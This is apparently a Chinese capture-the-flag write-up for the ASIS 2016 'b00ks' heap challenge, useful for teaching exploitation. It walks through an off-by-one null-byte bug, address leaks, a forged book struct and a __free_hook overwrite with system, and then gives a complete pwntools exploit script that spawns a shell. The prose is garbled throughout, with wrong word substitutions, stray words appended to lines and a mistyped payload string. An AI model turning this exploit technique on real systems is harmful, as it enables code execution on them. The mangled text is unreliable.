Asis_2016_b00ks wp

程序基本信息

程序漏洞

有一个读入函数,程序的全部输入都靠它读取,这个程序有个很明显的off_by_one漏洞,在输入时多输入一个0字符。shell

利用思路

程序开始运行时首先要求输入authorname,而这个输入保存在bss段0x0000559C506F3040处函数

程序有建立函数能够分别给book_name与book_descrption建立堆保存内容,并还会建立一个book的堆来保存name和descrption的指针。
debug

book的指针保存在bss段0x0000559C506F3060处,距离authorname的保存位置有0x20个字节。
指针

攻击步骤:
一、首先authorname输入0x20个字节,让多的一个0覆盖0x0000559C506F3060的最低位,也就是第一个book指针的最低位。
二、而后建立一个book1,book1的指针会把最低位的0覆盖掉,同时authorname与book1指针直接连在一块儿,没有\x00相隔,因此咱们打印处authorname的时候就可泄露出book1的地址。(这里要把descrption堆的地址调成book1地址末位被0覆盖的地址,好比说book1地址为0x00007812,那descrption的地址要布置成0x00007810)
三、建立一个book2,同时咱们伪造一个book结构,经过编辑函数把这个book结构写入book1的descrption中,注意伪造的book要算好book1与book2之间的偏移,让伪造book的name和decrption指向book2的name和decrption。
四、修改authorname输入0x20个字节,让多一个0覆盖掉book1指针的最低位,至关于此时book1的指针指向book1的descrption。
五、这样咱们经过打印book1的name和descrption便可泄露出book2的name与descrpiton地址。
六、libc与book1descrption之间为固定偏移,由此咱们能够得到libc基址、system函数地址、free_hook地址。
七、编辑book1的descrption,让book2的descrption指向free_hook,编辑book2的descrption,让free_hook的值为system函数地址。
八、建立一个堆写入"/bin/sh\x00",释放这个堆,运行system(“/bin/sh/x00")便可getshell。code

exp脚本

我一开始用one_gadget没有打通,本机对全部one_gadget的限制条件都不知足,因此后来换成system的方式来getshell。blog

from pwn import *

context.log_level="info"
#context.log_level='debug'
binary=ELF("b00ks")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=process("./b00ks")


def createbook(name_size,name,des_size,des):
    io.readuntil("> ")
    io.sendline("1")
    io.readuntil(": ")
    io.sendline(str(name_size))
    io.readuntil(": ")
    io.sendline(name)
    io.readuntil(": ")
    io.sendline(str(des_size))
    io.readuntil(": ")
    io.sendline(des)

def printbook(id):
    io.readuntil("> ")
    io.sendline("4")
    io.readuntil(": ")
    for i in range(id):
        book_id=int(io.readline()[:-1])
        io.readuntil(": ")
        book_name=io.readline()[:-1]
        io.readuntil(": ")
        book_des=io.readline()[:-1]
        io.readuntil(": ")
        book_author=io.readline()[:-1]
    return book_id,book_name,book_des,book_author

def createname(name):
    io.readuntil("name: ")
    io.sendline(name)

def changename(name):
    io.readuntil("> ")
    io.sendline("5")
    io.readuntil(": ")
    io.sendline(name)

def editbook(book_id,new_des):
    io.readuntil("> ")
    io.sendline("3")
    io.readuntil(": ")
    io.writeline(str(book_id))
    io.readuntil(": ")
    io.sendline(new_des)

def deletebook(book_id):
    io.readuntil("> ")
    io.sendline("2")
    io.readuntil(": ")
    io.sendline(str(book_id))

createname("A"*32)
createbook(128,"a",32,"a")
createbook(0x21000,"aaaa",0x21000,"bbbb")
#gdb.attach(io)

book_id_1,book_name,book_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:"+hex(book1_addr))

payload=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)
editbook(book_id_1,payload)
changename("A"*32)

#gdb.attach(io)

book_id_1,book_name,book_des,book_author=printbook(1)
book2_name_addr=u64(book_name.ljust(8,"\x00"))
book2_des_addr=u64(book_des.ljust(8,"\x00"))
log.success("book2 name addr:"+hex(book2_name_addr))
log.success("book2 des addr:"+hex(book2_des_addr))
libc_base=book2_des_addr + 0x43ff0
log.success("libc base:"+hex(libc_base))

free_hook=libc_base+libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols['system']
one_gadget=libc_base + 0xe666b

log.success("free_hook:"+hex(free_hook))
log.success("one_gadget:"+hex(one_gadget))
log.success('system:'+hex(system_addr))

editbook(1,p64(free_hook)*2)
editbook(2,p64(system_addr))

createbook(8,'/bin/sh\x00',8,'/bin/sh\x00')
#gdb.attach(io) 
deletebook(3)

io.interactive()

参考

pwn堆入门系列教程1
ctfwiki 堆中的Off-By-One教程

相关文章
相关标签/搜索